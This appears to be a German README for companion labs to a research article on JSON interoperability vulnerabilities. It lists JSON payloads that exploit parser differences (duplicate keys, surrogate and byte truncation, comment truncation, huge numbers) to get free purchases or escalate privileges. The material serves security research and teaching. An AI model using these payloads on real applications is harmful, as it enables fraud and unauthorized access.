
Begleitende Labs zu „An Exploration of JSON Interoperability Vulnerabilities“
Dies sind die Begleit-Labs zu meinem Forschungsartikel „An Exploration of JSON Interoperability Vulnerabilities“.
Lab 1: Kostenlose Käufe in einer E-Commerce-Anwendung
Lab 2: Privilegieneskalation in einer Multi-Tenant-Anwendung
Diese Labs sind standardmäßig an die Host-Ports 5000-5004 gebunden.
Inkonsistente Priorität bei doppelten Schlüsseln
{"qty": 1, "qty": -1}
Zeichenabschneidung
Abschneidung bei Parsern mit Priorität des letzten Schlüssels (Reihenfolge für Priorität des ersten Schlüssels umkehren)
{"qty": 1, "qty\<raw \x0d byte here>": -1}
{"qty": 1, "qty\ud800": -1} # Any unpaired surrogate U+D800-U+DFFF
{"qty": 1, "qty"": -1}
{"qty": 1, "qt\y": -1}
Kommentar-Abschneidung
Diese Dokumente nutzen die inkonsistente Unterstützung von Kommentaren und die Unterstützung von Zeichenketten ohne Anführungszeichen aus:
{"qty": 1, "extra": 1/*, "qty": -1, "extra2": 2*/}
{"qty": 1, "extra": a/*, "qty": -1, "extra2": b*/}
{"qty": 1, "extra": "a/*", "qty": -1, "extra2": "b"*/}
{"qty": 1, "extra": "a"//, "qty": -1}
Inkonsistente Dekodierung großer Zahlen
Diese großen numerischen Werte können in Strings umgewandelt werden (z. B. „+Infinity“), was zu Type-Juggling-Schwachstellen führen kann. Oder sie können in MAX_INT/MIN_INT, gerundete Werte oder 0 umgewandelt werden, was eine Umgehung der Geschäftslogik ermöglichen kann.
{"qty": 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999}
{"qty": -999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999}
{"qty": 1.0e4096}
{"qty": -1.0e4096}
Twitter: @theBumbleSec
GitHub: the-bumble